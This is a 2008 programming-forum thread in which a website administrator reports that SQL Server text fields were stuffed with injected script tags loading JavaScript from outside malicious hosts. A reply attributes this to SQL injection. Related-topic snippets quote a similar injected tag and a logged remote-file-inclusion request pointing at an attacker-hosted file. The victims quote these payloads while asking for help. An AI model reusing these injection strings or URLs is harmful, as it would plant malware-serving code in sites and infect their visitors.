473,770 Members | 1,989 Online
Bytes | Software Development & Data Engineering Community
+ Post

Home Posts Topics Members FAQ

virus script problem

1 New Member
Hello, i am a new member from Greece.

I am administrator of a website and recently i had two similar virus problems.

Suddenly before two weeks i found out that in many of the tables of my database (hosted in SQL server 2005) a great deal of records was filled in the end of many text fields with the string -- script src=http://www.lksr.ru/ngg.js>/script --

and after a week with string &"></title> script src="&chr(34)&" http://jjmaoduo.3322.o rg/csrss/w.js"&chr(34)&" > /script <!--.

That cause major problem when someone tried to see informations from database. Zonealarm was Quarantine the virus Trojan-Downloader.JS.A gent.ccv
I wrote some code to scan the database and to change the appearance of this string with an empty string and was cleaned.

I am trying to figure out how this happened and what to do to avoid it next time.
How anyone could have access to the database and added the strings in almost all the tables.

Thanks
Aug 19 '08 #1
1 2215
DrBunchman
979 Recognized Expert Contributor
Hi stefmpiz,

Websites that allow the user to directly query the database can be vulnerable to SQL Injection attacks. This is where the malicious user is able to enter sql directly into your database via your front end web page. Check out this article which explains how you can be vulnerable to SQL Injections in further detail.

There are some simple steps that you can take to protect yourself from most SQL Injections like checking all input strings for certain words and characters - there are some examples at the end of that article. If your website is out on the WWW then it is definitely worth protecting yourself as a matter of course.

I'm not saying that this is definitely what happened but it sounds pretty likely to me.

Hope this helps,

Dr B
Aug 19 '08 #2

Sign in to post your reply or Sign up for a free account.

Similar topics

6
2457
by: VB Programmer | last post by:
Just loaded up one of my ASP.NET 2.0 projects. When I ran the webapp (IE) I was warned with this message... Your system may be vulnerable to BloodHound Virus! We recommend you DOWNLOAD one of these security software programs to prevent malware infections... Looked "spamish", so I didn't do anything as instructed above. Is this a message from Microsoft? I'm up to date with Norton, have done a full system scan, with no viruses...
2
5170
by: Andrew Robinson | last post by:
I am working on an application and the customer would like the ability for users to attach / upload a Word document. This document will be stored on the web server directly into SQL and later be viewed by the customer after being replicated across a SQL Server. I am not too worried about virus risks on the web server since the upload will be saved directly to SQL but what are my risks on the desktop machines that are used to later view...
6
1581
by: 2LEGIT2QUIT | last post by:
Has anyone ever had this virus before? C:\WINDOWS\SYSTEM32\KBD869.dll I can't delete it and no virus scanners can quarantine it or delete it. I can't find the process associated with it to stop the process so it wont let me delete it manualy.
4
10628
by: Ignoramus6539 | last post by:
There were some strange requests to my server asking for config.php file (which I do not have in the requested location). I did some investigation. Seems to be a virus written in perl, exploiting a vulnerability in php code. The requests are like this 216.120.231.252 - - "GET /algebra/about/history/config.php?returnpath=http://domates.1gig.biz/spread.txt? HTTP/1.1" 404 561 "-" "libwww-perl/5.805"
3
2461
by: sameer | last post by:
Hi all, ..net framwork 1.1 sql server 2000 I have a vb.net winforms application using webservices\ remoting to upload documents\ images to the webserver and i am gong to store them in the sql server 2000 database and before these are saved to the database client wants me to scan them for any kind of viruses i.e do a virus scan, how can i do that, have any body done this before. if it was a matter of
26
20344
subashini Thiyagarajan
by: subashini Thiyagarajan | last post by:
I got a very good pendrive. Without knowing me my pen drive was spreading virus ravon.exe file is running as soon as i plug my pendrive in any system. Then it started giving nose from floppy drive. How i can clear my pen drive virus? One more thing now that virus has subsided in my system, it has made my system slow. What i should do to make it faster as earlier?
5
5068
by: Rick Brandt | last post by:
I've done some Googling on this, but can't find anything definitive looking that isn't ancient. The issue is whether the simple act of viewing an HTML page that contains script or viewing an HTML Email message that contains script is (in and of itself) enough to infect your machine with a virus. I know that there were a few rather exotic methods used in the past to exploit vulnerabilities of IE and/or Outlook/Outlook Express that...
4
3031
by: crossroadsk | last post by:
i'm using windows xp a strange virus is residing in my system ... whenever i come across a scrollbar in any window i open .. the virus comes into action ... it takes control of that scroll... it scrolls from top to bottom and right to left if there is a scrollbar at the bottom of the window ... one more exapmle i can give is ... when i try to use media player classic which comes with k-lite codec pack .... it will scroll the sound...
8
4024
by: michael | last post by:
Hi all A client of mine is having a problem with their site and when I looked into the SQL database, I found that most text fields have been altered and appended with script src=http://www.westpacsecuresite.com/b.js/script I've taken out the < so that this shows.
0
10259
Oralloy
by: Oralloy | last post by:
Hello folks, I am unable to find appropriate documentation on the type promotion of bit-fields when using the generalised comparison operator "<=>". The problem is that using the GNU compilers, it seems that the internal comparison operator "<=>" tries to promote arguments from unsigned to signed. This is as boiled down as I can make it. Here is my compilation command: g++-12 -std=c++20 -Wnarrowing bit_field.cpp Here is the code in...
0
10101
jinu1996
by: jinu1996 | last post by:
In today's digital age, having a compelling online presence is paramount for businesses aiming to thrive in a competitive landscape. At the heart of this digital strategy lies an intricately woven tapestry of website design and digital marketing. It's not merely about having a website; it's about crafting an immersive digital experience that captivates audiences and drives business growth. The Art of Business Website Design Your website is...
1
10038
by: Hystou | last post by:
Overview: Windows 11 and 10 have less user interface control over operating system update behaviour than previous versions of Windows. In Windows 11 and 10, there is no way to turn off the Windows Update option using the Control Panel or Settings app; it automatically checks for updates and installs any it finds, whether you like it or not. For most users, this new feature is actually very convenient. If you want to control the update process,...
0
9906
tracyyun
by: tracyyun | last post by:
Dear forum friends, With the development of smart home technology, a variety of wireless communication protocols have appeared on the market, such as Zigbee, Z-Wave, Wi-Fi, Bluetooth, etc. Each protocol has its own unique characteristics and advantages, but as a user who is planning to build a smart home system, I am a bit confused by the choice of these technologies. I'm particularly interested in Zigbee because I've heard it does some...
1
7456
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 1 May 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome a new presenter, Adolph Dupré who will be discussing some powerful techniques for using class modules. He will explain when you may want to use classes instead of User Defined Types (UDT). For example, to manage the data in unbound forms. Adolph will...
0
6710
by: conductexam | last post by:
I have .net C# application in which I am extracting data from word file and save it in database particularly. To store word all data as it is I am converting the whole word file firstly in HTML and then checking html paragraph one by one. At the time of converting from word file to html my equations which are in the word document file was convert into image. Globals.ThisAddIn.Application.ActiveDocument.Select();...
0
5482
by: adsilva | last post by:
A Windows Forms form does not have the event Unload, like VB6. What one acts like?
1
4007
by: 6302768590 | last post by:
Hai team i want code for transfer the data from one system to another through IP address by using C# our system has to for every 5mins then we have to update the data what the data is updated we have to send another system
3
2849
bsmnconsultancy
by: bsmnconsultancy | last post by:
In today's digital era, a well-designed website is crucial for businesses looking to succeed. Whether you're a small business owner or a large corporation in Toronto, having a strong online presence can significantly impact your brand's success. BSMN Consultancy, a leader in Website Development in Toronto offers valuable insights into creating effective websites that not only look great but also perform exceptionally well. In this comprehensive...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.